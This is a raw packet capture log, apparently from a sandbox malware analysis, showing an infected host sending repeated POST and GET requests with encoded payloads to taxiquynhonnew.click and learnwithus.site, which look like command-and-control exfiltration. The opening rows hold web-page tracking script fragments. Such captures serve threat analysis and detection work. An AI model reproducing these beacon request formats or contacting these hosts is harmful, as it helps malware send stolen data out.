Jan 10, 2025 23:26:31.958781958 CET	1289	IN	Data Raw: 7d 65 6c 73 65 20 69 66 28 77 69 6e 64 6f 77 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 29 7b 0a 20 20 20 20 20 20 20 20 2f 2f 46 69 72 65 66 6f 78 ef bc 8c 4f 70 65 72 61 20 38 2e 30 2b ef bc 8c 53 61 66 61 72 69 ef bc 8c 43 68 72 6f 6d 65 0a Data Ascii: }else if(window.XMLHttpRequest){ //FirefoxOpera 8.0+SafariChrome xmlHttp = new XMLHttpRequest(); } // xmlHttp.open("GET",url,false); //Ch
Jan 10, 2025 23:26:31.958904028 CET	1289	IN	Data Raw: 0a 20 20 20 20 76 61 72 20 70 61 74 68 49 6e 66 6f 20 3d 20 27 27 3b 0a 20 20 20 20 76 61 72 20 62 61 73 65 4a 73 55 72 6c 20 3d 20 69 73 41 74 6d 20 3f 20 27 68 74 74 70 73 3a 2f 2f 64 71 30 69 62 35 78 6c 63 74 37 74 77 2e 63 6c 6f 75 64 66 72 Data Ascii: var pathInfo = ''; var baseJsUrl = isAtm ? 'https://dq0ib5xlct7tw.cloudfront.net/' : 'https://dq0ib5xlct7tw.cloudfront.net/'; if (getQueryVariable('path')) { pathInfo = getQueryVariable('path'); loadJs('pixelJs',baseJs
Jan 10, 2025 23:26:31.959017992 CET	1289	IN	Data Raw: 20 20 20 7d 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 69 66 28 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 73 6f 75 72 63 65 20 3d 3d 3d 20 73 6f 75 72 63 65 44 61 74 61 2e 66 61 63 65 62 6f 6f 6b 53 6f 75 72 63 65 29 20 7b 0a 20 20 20 20 20 Data Ascii: }</script><script>if(localStorage.source === sourceData.facebookSource) { ! function (f, b, e, v, n, t, s) { if (f.fbq) return; n = f.fbq = function () { n.callMethod ? n.callMethod.a
Jan 10, 2025 23:26:31.959106922 CET	1289	IN	Data Raw: 64 79 22 2c 20 22 61 6c 69 61 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 67 72 6f 75 70 22 2c 20 22 65 6e 61 62 6c 65 43 6f 6f 6b 69 65 22 2c 20 22 64 69 73 61 62 6c 65 43 6f 6f 6b 69 65 22 0a 20 20 20 20 20 20 20 20 5d 2c 20 74 74 71 2e 73 65 Data Ascii: dy", "alias", "group", "enableCookie", "disableCookie" ], ttq.setAndDefer = function(t, e) { t[e] = function() { t.push([e].concat(Array.prototype.slice.call(arguments, 0))) } };
Jan 10, 2025 23:26:31.959249973 CET	1289	IN	Data Raw: 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 3b 0a 20 20 20 20 76 61 72 20 67 53 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 20 Data Ascii: lementsByTagName('head')[0]; var gScript = document.createElement("script"); gScript.type = "text/javascript"; gScript.src="https://www.googletagmanager.com/gtag/js?id=" + (google_id \|\| 'G-CC0LH72W84') +""; gHead.appendChild(gS
Jan 10, 2025 23:26:31.959300041 CET	879	IN	Data Raw: 20 20 20 20 69 66 20 28 65 76 65 6e 74 2e 74 6f 75 63 68 65 73 2e 6c 65 6e 67 74 68 20 3e 20 31 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 Data Ascii: if (event.touches.length > 1) { event.preventDefault(); } }); document.addEventListener('touchend', function (event) { var now = (new Date()).getTime(); if (now - lastTouchEnd <= 300) {

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.11.20	49819	13.228.81.39	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:26:37.318911076 CET	834	OUT	POST /y49d/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.taxiquynhonnew.click Origin: http://www.taxiquynhonnew.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cache-Control: max-age=0 Referer: http://www.taxiquynhonnew.click/y49d/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 72 34 72 4b 63 69 62 56 53 78 34 76 42 51 52 5a 42 77 42 61 4e 6f 4c 76 62 42 4e 47 68 73 2b 47 2f 50 48 7a 76 6f 6b 64 41 6e 63 75 4f 37 4b 34 58 41 58 68 4a 58 70 6e 7a 36 33 66 2f 2f 54 7a 49 4d 34 53 56 47 30 39 72 68 70 34 63 6f 52 7a 53 67 44 6a 65 6e 2b 43 6a 31 4f 38 6a 65 55 63 32 63 69 75 58 72 64 65 61 56 54 59 77 72 6f 49 78 39 4a 35 53 2b 32 71 64 53 71 55 66 42 74 59 64 76 33 57 38 52 72 59 55 51 57 56 36 4d 67 37 51 59 49 59 67 55 79 77 7a 6e 76 6d 47 39 64 51 6b 48 71 70 77 71 2f 41 5a 54 78 65 48 43 49 69 6d 75 76 5a 68 64 41 4b 51 4c 67 67 37 68 41 4b 72 41 3d 3d Data Ascii: kR8XbB2P=r4rKcibVSx4vBQRZBwBaNoLvbBNGhs+G/PHzvokdAncuO7K4XAXhJXpnz63f//TzIM4SVG09rhp4coRzSgDjen+Cj1O8jeUc2ciuXrdeaVTYwroIx9J5S+2qdSqUfBtYdv3W8RrYUQWV6Mg7QYIYgUywznvmG9dQkHqpwq/AZTxeHCIimuvZhdAKQLgg7hAKrA==
Jan 10, 2025 23:26:37.651721954 CET	371	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Fri, 10 Jan 2025 22:26:37 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.taxiquynhonnew.click/y49d/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.11.20	49820	13.228.81.39	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:26:40.193622112 CET	854	OUT	POST /y49d/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.taxiquynhonnew.click Origin: http://www.taxiquynhonnew.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.taxiquynhonnew.click/y49d/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 72 34 72 4b 63 69 62 56 53 78 34 76 54 67 42 5a 4e 7a 70 61 4b 49 4c 73 56 68 4e 47 72 4d 2b 4b 2f 50 4c 7a 76 71 49 4e 41 78 30 75 4f 5a 69 34 4e 45 44 68 48 33 70 6e 6e 71 33 57 69 76 54 36 49 4d 30 6b 56 45 77 39 72 68 39 34 63 74 31 7a 56 53 72 69 65 33 2b 45 71 56 4f 2b 38 4f 55 63 32 63 69 75 58 72 4a 34 61 52 2f 59 77 62 34 49 78 59 39 2b 4d 4f 32 72 51 43 71 55 62 42 74 63 64 76 33 30 38 55 7a 68 55 54 2b 56 36 4d 77 37 65 70 49 62 7a 30 79 32 39 48 76 74 49 66 38 2f 6f 33 53 72 31 36 54 43 57 53 39 56 47 55 46 34 37 63 62 39 69 4f 63 34 55 37 5a 49 35 6a 42 52 32 48 70 48 53 76 42 54 30 32 74 67 59 61 39 47 31 54 69 62 70 2f 49 3d Data Ascii: kR8XbB2P=r4rKcibVSx4vTgBZNzpaKILsVhNGrM+K/PLzvqINAx0uOZi4NEDhH3pnnq3WivT6IM0kVEw9rh94ct1zVSrie3+EqVO+8OUc2ciuXrJ4aR/Ywb4IxY9+MO2rQCqUbBtcdv308UzhUT+V6Mw7epIbz0y29HvtIf8/o3Sr16TCWS9VGUF47cb9iOc4U7ZI5jBR2HpHSvBT02tgYa9G1Tibp/I=
Jan 10, 2025 23:26:40.526582956 CET	371	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Fri, 10 Jan 2025 22:26:40 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.taxiquynhonnew.click/y49d/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.11.20	49821	13.228.81.39	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:26:43.076499939 CET	2578	OUT	POST /y49d/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.taxiquynhonnew.click Origin: http://www.taxiquynhonnew.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7373 Cache-Control: max-age=0 Referer: http://www.taxiquynhonnew.click/y49d/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 72 34 72 4b 63 69 62 56 53 78 34 76 54 67 42 5a 4e 7a 70 61 4b 49 4c 73 56 68 4e 47 72 4d 2b 4b 2f 50 4c 7a 76 71 49 4e 41 78 4d 75 50 71 61 34 4f 6c 44 68 47 33 70 6e 37 61 33 62 69 76 53 36 49 4d 74 74 56 45 73 44 72 6b 35 34 65 4c 70 7a 51 6a 72 69 56 33 2b 45 6f 56 4f 2f 6a 65 56 59 32 59 4f 51 58 72 5a 34 61 52 2f 59 77 64 38 49 33 4e 4a 2b 4f 4f 32 71 64 53 71 49 66 42 73 42 64 76 76 4f 38 56 48 75 55 6a 65 56 39 74 41 37 54 2f 63 62 70 30 79 30 74 58 75 74 49 66 77 67 6f 32 2f 61 31 36 33 6f 57 54 6c 56 47 53 4a 6a 68 49 65 2b 78 4e 6b 36 58 65 78 42 31 44 4a 43 2b 47 63 7a 54 65 31 34 7a 78 30 31 51 62 30 4b 68 67 69 4c 34 71 6b 45 56 6b 7a 63 72 34 6e 66 70 76 2b 75 30 4a 4e 51 74 2b 54 6a 77 53 4c 73 51 34 58 39 2b 35 51 75 41 4c 6f 69 39 57 36 38 45 50 5a 79 43 77 4e 6f 71 4d 42 74 4a 48 33 69 37 68 34 78 4b 43 42 4d 6f 7a 53 58 37 66 58 4a 70 70 75 7a 76 4b 36 68 74 76 30 65 6f 6a 7a 50 61 54 53 39 55 66 75 44 38 78 6e 6e 55 49 70 6b 73 58 53 35 50 50 78 2b 57 [TRUNCATED] Data Ascii: kR8XbB2P=r4rKcibVSx4vTgBZNzpaKILsVhNGrM+K/PLzvqINAxMuPqa4OlDhG3pn7a3bivS6IMttVEsDrk54eLpzQjriV3+EoVO/jeVY2YOQXrZ4aR/Ywd8I3NJ+OO2qdSqIfBsBdvvO8VHuUjeV9tA7T/cbp0y0tXutIfwgo2/a163oWTlVGSJjhIe+xNk6XexB1DJC+GczTe14zx01Qb0KhgiL4qkEVkzcr4nfpv+u0JNQt+TjwSLsQ4X9+5QuALoi9W68EPZyCwNoqMBtJH3i7h4xKCBMozSX7fXJppuzvK6htv0eojzPaTS9UfuD8xnnUIpksXS5PPx+W7xzpWGzT5tfLr6BV94y3yUzmb3WnSmNTVrtBlsFRgzG4f2JUw8JoyWMJ/OuQfbvWxiIJkgvj2qBLJIUud7rp88o4GnoKKIkOfb0SShXAGHNRxFHSRpSoLW2t2XDew/5ZV65xWW4tubqkqGHLFPvyMUYI9YA55uD5DTO4wUZhVW8PG2TS97gj4MdhA8hqeLZIVpi0nGvK12ltgBh6rcahzEQ3pd6ln9GLsbe8y5FAfGVMxaAnH8fLZlDS5uH0OqZ5Lnbd+/PfFfMZfd9/QzsClD9FQbhfIYxZm3TucQYNRXrJ1bdCfpLhJfhKnELUT2S6yjGjSgjf1F+HHFoWj6lzd5qik/rD8vmC0D8ZUri05YHziBxb+LT1OQ/ZRnkkWVVNxYtXf6hm9vK3NvhMro64OPOjtjo/AACAmtO43NPRRB7vPLucySuDgq3/w/pqnDImeAmtp3pVzf6/O7IS9JOziNLepDaWlYyrB4JdX6mKtILGkYpPAg9XJh7ZzbDwY/GrDYmS+jGl8Ds43fp6xeCGD+lqhI6MQaTkQgTyjjfh5jtKT5y2x91z4kOreJdk/HGBXJ9kXev/+JMz+PlS2TntgOlfJo9ynPr6SPfbM0B33rFV5EgdzKqrxTmCzA88LiLbMCL7HNGkaqMiGQ8bh+Tggu6mm8Vw6KFh2w [TRUNCATED]
Jan 10, 2025 23:26:43.076549053 CET	5425	OUT	Data Raw: 65 38 53 68 66 67 41 72 61 33 31 42 38 6a 48 33 67 46 74 6e 36 4c 36 38 36 67 7a 32 31 4d 67 71 6d 35 72 44 58 30 57 62 63 64 34 54 4d 30 7a 74 4e 31 6c 65 75 53 78 4a 6c 6c 67 6c 4f 65 4f 65 75 5a 39 57 47 47 34 38 65 37 2f 52 4c 34 62 75 76 54 Data Ascii: e8ShfgAra31B8jH3gFtn6L686gz21Mgqm5rDX0Wbcd4TM0ztN1leuSxJllglOeOeuZ9WGG48e7/RL4buvTt0ubpbe66HN+af7cObrPETEpec7d2fX3qzTWVs+BtJcHIcD2Sm6vZkJIg+JxI/JjwtvCMMW5xJcxtlt9vtNxksWTClxBGNxXl3ogH7dDQhsBKlv86m30+v3zWYKpaQvfitKODSAAFEB9D41fwqf0l6vawnI8T06tS
Jan 10, 2025 23:26:43.417926073 CET	371	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Fri, 10 Jan 2025 22:26:43 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.taxiquynhonnew.click/y49d/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.11.20	49822	13.228.81.39	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:26:45.941148043 CET	549	OUT	GET /y49d/?kR8XbB2P=m6DqfWTYFUU8GAEIGAoCC4XWRVZ+isyn9ImFwYYAXgcLCIKDKHWgUlwantPJ7uipU91pPV1usxBfeqldUzKMcEzEqEqzjLYIyojlXJBsWiDp4MAl1o0ML8Q=&oRQ0=OV24X0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.taxiquynhonnew.click Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Jan 10, 2025 23:26:46.277038097 CET	513	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Fri, 10 Jan 2025 22:26:46 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.taxiquynhonnew.click/y49d/?kR8XbB2P=m6DqfWTYFUU8GAEIGAoCC4XWRVZ+isyn9ImFwYYAXgcLCIKDKHWgUlwantPJ7uipU91pPV1usxBfeqldUzKMcEzEqEqzjLYIyojlXJBsWiDp4MAl1o0ML8Q=&oRQ0=OV24X0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.11.20	49823	209.74.77.107	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:26:59.656794071 CET	822	OUT	POST /a6qk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.learnwithus.site Origin: http://www.learnwithus.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cache-Control: max-age=0 Referer: http://www.learnwithus.site/a6qk/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 58 47 30 2b 61 72 68 6c 57 7a 44 6a 4d 68 48 2b 71 62 79 76 65 59 56 66 75 31 6d 4f 62 52 71 61 4c 66 30 63 6f 59 65 69 72 51 78 68 50 47 59 51 41 6e 35 36 70 2b 49 4a 53 55 5a 41 75 6a 30 61 77 49 6a 6d 4d 50 39 76 7a 46 30 52 48 6d 56 30 31 32 6a 77 64 64 77 37 65 49 2b 71 71 67 2b 47 57 70 55 77 62 39 37 36 76 64 4d 6f 48 2f 69 43 65 38 59 4b 4e 70 59 33 47 34 73 35 41 43 5a 64 45 67 2f 62 78 30 4a 35 6a 35 50 61 4c 58 62 6d 67 4f 59 63 50 4f 63 58 4e 44 69 34 51 38 4a 7a 77 6e 77 75 76 48 79 69 41 63 7a 6b 6f 36 45 35 6b 59 44 75 2f 46 46 52 57 69 35 51 73 33 6a 63 56 67 3d 3d Data Ascii: kR8XbB2P=XG0+arhlWzDjMhH+qbyveYVfu1mObRqaLf0coYeirQxhPGYQAn56p+IJSUZAuj0awIjmMP9vzF0RHmV012jwddw7eI+qqg+GWpUwb976vdMoH/iCe8YKNpY3G4s5ACZdEg/bx0J5j5PaLXbmgOYcPOcXNDi4Q8JzwnwuvHyiAczko6E5kYDu/FFRWi5Qs3jcVg==
Jan 10, 2025 23:26:59.834395885 CET	533	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Jan 2025 22:26:59 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.11.20	49824	209.74.77.107	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:27:02.371495962 CET	842	OUT	POST /a6qk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.learnwithus.site Origin: http://www.learnwithus.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.learnwithus.site/a6qk/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 58 47 30 2b 61 72 68 6c 57 7a 44 6a 50 42 33 2b 6f 38 65 76 56 59 56 59 72 31 6d 4f 41 42 71 65 4c 66 34 63 6f 64 2b 79 72 69 56 68 50 6e 49 51 42 6d 35 36 6f 2b 49 4a 47 45 5a 46 68 44 30 76 77 49 6e 55 4d 4f 52 76 7a 45 51 52 48 6a 52 30 31 46 4c 7a 48 74 77 35 4c 59 2b 6b 75 67 2b 47 57 70 55 77 62 39 48 63 76 64 55 6f 48 50 79 43 64 64 59 46 45 4a 59 30 52 49 73 35 4c 69 59 61 45 67 2f 74 78 31 6c 44 6a 36 33 61 4c 57 72 6d 6c 50 59 66 46 4f 63 52 44 6a 6a 56 52 4f 6b 6d 7a 55 6f 74 6a 56 53 72 4e 2f 33 77 6b 4d 4a 6a 35 71 33 4b 38 57 5a 6a 53 53 41 34 75 31 69 48 49 6b 38 35 61 2b 7a 6f 33 47 63 51 53 73 73 2f 56 67 44 56 58 46 77 3d Data Ascii: kR8XbB2P=XG0+arhlWzDjPB3+o8evVYVYr1mOABqeLf4cod+yriVhPnIQBm56o+IJGEZFhD0vwInUMORvzEQRHjR01FLzHtw5LY+kug+GWpUwb9HcvdUoHPyCddYFEJY0RIs5LiYaEg/tx1lDj63aLWrmlPYfFOcRDjjVROkmzUotjVSrN/3wkMJj5q3K8WZjSSA4u1iHIk85a+zo3GcQSss/VgDVXFw=
Jan 10, 2025 23:27:02.550775051 CET	533	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Jan 2025 22:27:02 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.11.20	49825	209.74.77.107	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:27:05.074395895 CET	2578	OUT	POST /a6qk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.learnwithus.site Origin: http://www.learnwithus.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7373 Cache-Control: max-age=0 Referer: http://www.learnwithus.site/a6qk/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 58 47 30 2b 61 72 68 6c 57 7a 44 6a 50 42 33 2b 6f 38 65 76 56 59 56 59 72 31 6d 4f 41 42 71 65 4c 66 34 63 6f 64 2b 79 72 69 64 68 50 56 51 51 42 42 46 36 75 4f 49 4a 5a 30 5a 45 68 44 30 49 77 4d 4c 51 4d 4f 4e 56 7a 48 34 52 47 42 5a 30 7a 30 4c 7a 53 39 77 35 55 6f 2b 70 71 67 2f 43 57 70 6b 38 62 37 6e 63 76 64 55 6f 48 4e 61 43 4c 38 59 46 43 4a 59 33 47 34 73 50 41 43 5a 39 45 67 6e 54 78 31 52 54 67 4b 58 61 4c 32 37 6d 69 